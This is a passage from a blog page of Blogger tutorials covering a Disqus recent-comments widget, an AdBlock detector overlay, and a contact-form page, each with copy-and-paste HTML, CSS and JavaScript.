document.write("<scr" + "ipt type=\"text/javascript\" src=\"https://https-getwebinfo-com.disqus.com/recent_comments_widget.js?num_items=20&hide_mods=0&hide_avatars=0&avatar_size=32&excerpt_length=180\"></scr" + "ipt>");
//]]>
</script>
</div>
</div>
<ul id='blogToTop'>
<li><a class='ripple_animate' href='#top' title='Scroll to Top'><svg width="16" height="16" viewBox="0 0 1792 1792"><path d="M1683 1331l-166 165q-19 19-45 19t-45-19l-531-531-531 531q-19 19-45 19t-45-19l-166-165q-19-19-19-45.5t19-45.5l742-741q19-19 45-19t45 19l742 741q19 19 19 45.5t-19 45.5z"/></svg></a>
</li>
<li><a class='viewport-show ripple_animate' href='javascript:;' title='Disqus Yorumları Aç'><svg width="16" height="16" fill="#27a0dc" viewBox="0 0 1792 1792"><path d="M912 1696q0-16-16-16-59 0-101.5-42.5t-42.5-101.5q0-16-16-16t-16 16q0 73 51.5 124.5t124.5 51.5q16 0 16-16zm816-288q0 52-38 90t-90 38h-448q0 106-75 181t-181 75-181-75-75-181h-448q-52 0-90-38t-38-90q50-42 91-88t85-119.5 74.5-158.5 50-206 19.5-260q0-152 117-282.5t307-158.5q-8-19-8-39 0-40 28-68t68-28 68 28 28 68q0 20-8 39 190 28 307 158.5t117 282.5q0 139 19.5 260t50 206 74.5 158.5 85 119.5 91 88z"/></svg></a>
</li>
<li><a class='ripple_animate' href='#bottom' title='Scroll to Bottom'><svg width="16" height="16" viewBox="0 0 1792 1792"><path d="M1683 808l-742 741q-19 19-45 19t-45-19l-742-741q-19-19-19-45.5t19-45.5l166-165q19-19 45-19t45 19l531 531 531-531q19-19 45-19t45 19l166 165q19 19 19 45.5t-19 45.5z"/></svg></a></li>
</ul>
<div id='top'></div>
<div id='bottom'></div>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
Now you can Save Blogger Template.

Note: Please Replace https-getwebinfo-com with your Disqus.com shortname to show up recent posts.

Now you can add this widget in to your blogger blog successfully now just click on your website link and see the result. I Hope this article is really helpful for you if you like this article so please share it with your friends on social media Thanks for Reading!!!!!

AdBlock Detector Widget For Blogger

Hello and Welcome to GetWebInfo.Com. Here on this Post you can be able to find out Latest Article about AdBlock Detector for Blogger. This is a beautiful AdBlocker Detector. You can use this AdBlocker Detector in blogger . You Can also use the preciously shared adblock detector widget allows your site or adds up functionality in your website to detect AdBlock.



How to Add AdBlocker Detector in Blogger


Step 1: First of all Login to your Blogger Blog

Step 2: After Login Go to Theme or Template Section

Step 3: Now Click on Edit HTML Button

Step 4:  After Opening HTML area here you can find out this code </body>

Step 5: Now Copy the code given below and Paste it Above </body> tag.

<style>
div[class^="ykwrp_"]{display:none}
.ykth-inner{font-family:"Open Sans","Roboto",Segoe UI,sans-serif;background:#FFF;position:fixed;width:40%;left:0;right:0;top:30%;margin:auto}
div[class^="ykwrp_"]:before,#ykth:before{content:"";position:fixed;background:#00000055;top:0;left:0;right:0;bottom:0;width:100%;height:100%}
.ykth-head{background:#de2b2b;color:#FFF;padding:20px}
.ykth-head>svg{float:left;margin:0 9px 0 0;animation:shake .82s cubic-bezier(.36,.07,.19,.97) 7;transform:translate3d(0,0,0);backface-visibility:hidden;perspective:1000px}
.ykth-head>i{position:absolute;top:16px;right:16px;cursor:pointer;line-height:13px;font-size:21px;font-weight:700;font-style:normal}
.ykth-head>b{font-size:16px;font-weight:700;text-transform:uppercase}
.ykth-head>p{margin:0 0 0 35px;font-size:14px}
.ykth-body{padding:20px;font-size:100%;line-height:1.7}
.ykth-body>p{margin:0 0 10px}
@keyframes shake{10%,90%{transform:translate3d(-1px,0,0)}20%,80%{transform:translate3d(2px,0,0)}30%,50%,70%{transform:translate3d(-4px,0,0)}40%,60%{transform:translate3d(4px,0,0)}}
</style>
<div id="ykth"><div class="ykth-inner">
<div class='ykth-head'>
<svg style="width:30px;height:30px" viewBox="0 0 26 26"><path fill="#FFFFFF" d="M13,13H11V7H13M12,17.3A1.3,1.3 0 0,1 10.7,16A1.3,1.3 0 0,1 12,14.7A1.3,1.3 0 0,1 13.3,16A1.3,1.3 0 0,1 12,17.3M15.73,3H8.27L3,8.27V15.73L8.27,21H15.73L21,15.73V8.27L15.73,3Z"/></svg>
<b>Adblock Detect</b>
<p>We have detected that you are using adblock in your browser</p>
<i class="close" onclick="document.getElementById(ykrd1).style.display='none'">×</i>
</div>
<div class='ykth-body'>
<p>Our website is made possible by displaying online advertisements to our visitors.</p>
<p>Please consider supporting us by disabling your ad blocker.</p>
</div>
<!-- Start Condition When JS Disable -->
<noscript>
<div class="ykth-body">
 <p>Javascript is disabled in your web browser.</p>
 <p>For full functionality of this site it is necessary to enable JavaScript. Here are the <a href="https://www.enable-javascript.com/" target="_blank"> instructions how to enable JavaScript in your web browser</a>.</p>
</div>
<style>#ykth{display:block;}.ykth-inner>.ykth-body{display:none;}.ykth-head>b,.ykth-head>p{font-size:0}.ykth-head>b:before{content:"Javascript Detected";font-size:16px}.ykth-head>p:before{content:"We have detected that you are disable javascript in your browser";font-size:14px}</style>
</noscript>
<!-- End Condition When JS Disable -->
</div></div>
<script>
//<![CDATA[
var ykrd1=Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
var ykrd2=Math.random().toString(36).substring(2, 7);
var e=document.getElementById("ykth");e.setAttribute("id", ykrd1);e.classList.add("ykwrp_"+ykrd2);
  document.addEventListener('DOMContentLoaded', init, false);
function init(){
  adsBlocked(function(blocked){
    if(blocked){
    document.getElementById(ykrd1).style.display='block';
    } else {
      document.getElementById(ykrd1).style.display='none';
    }
  })
}
function adsBlocked(callback){
  var testURL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js'
  var myInit = {
    method: 'HEAD',
    mode: 'no-cors'
  };
  var myRequest = new Request(testURL, myInit);
  fetch(myRequest).then(function(response) {
    return response;
  }).then(function(response) {
    console.log(response);
    callback(false)
  }).catch(function(e){
    console.log(e)
    callback(true)
  });
}
//]]>
</script>
Now you can Save you Blogger Template.

After doing all these steps provided above this widget will be added into your website perfectly and it will work fine.

If you want to know that this widget work as well as you can want so please if you use Google Chrome then please install in ad block extension and enable it to your blogger. After that visit your website yourself and See the result. I Hope this widget work as well as you want if you have any problem so please comment on this post i will reply you as soon as possible.


How to Create Contact us Page on Blogger

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest Article About Contact Us Page on Blogger or any other website building platform. Contact Us Page is also very important for Google AdSense Application Approval. Do you want to know How to Create Contact us Page on Blogger. It is not a dump contact us form it has functionality to deliver your queries which you add in that contact us form. 



In this Contact Us Page Email delivery functionality is provided by blogger which helps us to deliver emails to the admin of that website. So now if you want to add this kind of contact us page into your blogger blog follow these all steps which i have provided below.

Here is Demo of the Contact us Page Sketch.



Create Contact us Page in Blogger


  • Go to Your Blogger Blog Dashboard
  • Nex to Click on Page Section
  • Here you can click on New Page button
  • when new page creating panel open just click on HTML button
  • Now you can copy the code provided below and Paste it in to the HTML Editor of your New Page

<form name="contact-form">
<div class="formcolumn1">
<input id="ContactForm1_contact-form-name" name="name" placeholder="Name" size="30" type="text" value="" />
</div>
<div class="formcolumn2">
<input id="ContactForm1_contact-form-email" name="email" placeholder="Email" size="30" type="text" value="" />
</div>
<div class="formcolumn3">
<textarea cols="25" id="ContactForm1_contact-form-email-message" name="email-message" placeholder="Message" rows="7"></textarea>
</div>
<div class="formcolumn4">
<input class="ripplelink" id="ContactForm1_contact-form-submit" type="button" value="Send Now" />
</div>
<div style="max-width: 100%; text-align: center; width: 100%;">
<div id="ContactForm1_contact-form-error-message">
</div>
<div id="ContactForm1_contact-form-success-message">
</div>
</div>
</form>
<script src="https://www.blogger.com/static/v1/widgets/2271878333-widgets.js" type="text/javascript"></script>
<style scoped="" type="text/css">
#ContactForm1,#comments,.post-body form.paypalpay br{display:none}
.post-body form.paypalpay{margin:0;text-align:center}
#ContactForm1_contact-form-name,#ContactForm1_contact-form-email{font-family:'Quicksand',sans-serif;display:inline-block;width:100%;height:auto;margin:10px auto;padding:14px;background:#fff;color:#222;border:1px solid rgba(0,0,0,0.08)}
#ContactForm1_contact-form-email-message{font-family:'Google Sans',sans-serif;width:100%;height:250px;margin:10px auto;padding:14px;background:#fff;color:#222;border:1px solid rgba(0,0,0,0.08)}
#ContactForm1_contact-form-name:focus,#ContactForm1_contact-form-email:focus,#ContactForm1_contact-form-email-message:focus{background:#fff;outline:none;border-color:rgba(0,0,0,0.18)}
#ContactForm1_contact-form-submit{font-family:'Quicksand',sans-serif;background:#fff;color:#5f6368;font-size:16px;width:161px;height:45px;float:left;padding:0 0 0 20px;margin:10px 0 3px 5px;cursor:pointer;border:none;border-radius:24px;box-shadow:0 1px 2px 0 rgba(60,64,67,0.302),0 1px 3px 1px rgba(60,64,67,0.149);transition:box-shadow .08s linear,min-width .15s cubic-bezier(0.4,0.0,0.2,1)}
.formcolumn4{position:relative}
.formcolumn4:before{background-image:url(https://2.bp.blogspot.com/-nkmaptT0VoA/WumFePAy9DI/AAAAAAAAGlM/8lA5aRi2E-okumpdikjQancIKDjYaGNqwCLcBGAs/s1600/mailme.png);background-position:center;background-repeat:no-repeat;background-size:20px;content:'';display:block;height:63px;width:32px;position:absolute;z-index:1;left:15px;top:0}
#ContactForm1_contact-form-submit:hover{background:#fafafb;box-shadow:0 1px 3px 0 rgba(60,64,67,0.302),0 4px 8px 3px rgba(60,64,67,0.149)}
#ContactForm1_contact-form-error-message,#ContactForm1_contact-form-success-message{margin-top:35px}
form{color:#888}
.formcolumn1,.formcolumn2{float:left;width:50%}
.formcolumn1,.formcolumn2{margin:0 0 10px 0;padding:0 10px 0 0}
.formcolumn2{padding:0 0 0 10px}
@media only screen and (max-width:768px){.formcolumn1,.formcolumn2{width:100%;padding:0}}
</style>
<script type='text/javascript'>
if (typeof(BLOG_attachCsiOnload) != "undefined" && BLOG_attachCsiOnload != null) { window["blogger_templates_experiment_id"] = "templatesV1";window["blogger_blog_id"] = "786786";BLOG_attachCsiOnload(""); }_WidgetManager._Init("//www.blogger.com/rearrange?blogID\x3d786786","https://www.GetWebInfo.com/","786786");
_WidgetManager._RegisterWidget("_ContactFormView", new _WidgetInfo("ContactForm1", "footer1", null, document.getElementById("ContactForm1"), {"contactFormMessageSendingMsg": "Sending...", "contactFormMessageSentMsg": "Your message has been sent.", "contactFormMessageNotSentMsg": "Message could not be sent. Please try again later.", "contactFormInvalidEmailMsg": "A valid email address is required.", "contactFormEmptyMessageMsg": "Message field cannot be empty.", "title": "Contact Form", "blogId": "786786", "contactFormNameMsg": "Name", "contactFormEmailMsg": "Email", "contactFormMessageMsg": "Message", "contactFormSendMsg": "Send", "submitUrl": "https://www.blogger.com/contact-form.do"}, "displayModeFull"));
</script>

After Paste this code in to your blogger Page creating HTML panel just click on Publish Button.

Note: Please Replace 786786 with your Blogger Blog ID and also Replace https://www.GetWebInfo.Com/ with your website URL.

Finally Click on Publish button and check your blogger blog or website and make sure that work properly or not.
 
I Hope this Article is really helpful for you if you like this article so please share it on Social media with your friends. Thanks for Reading. If you have any issue so please replace your comment in comment section i will reply you as soon as i possible.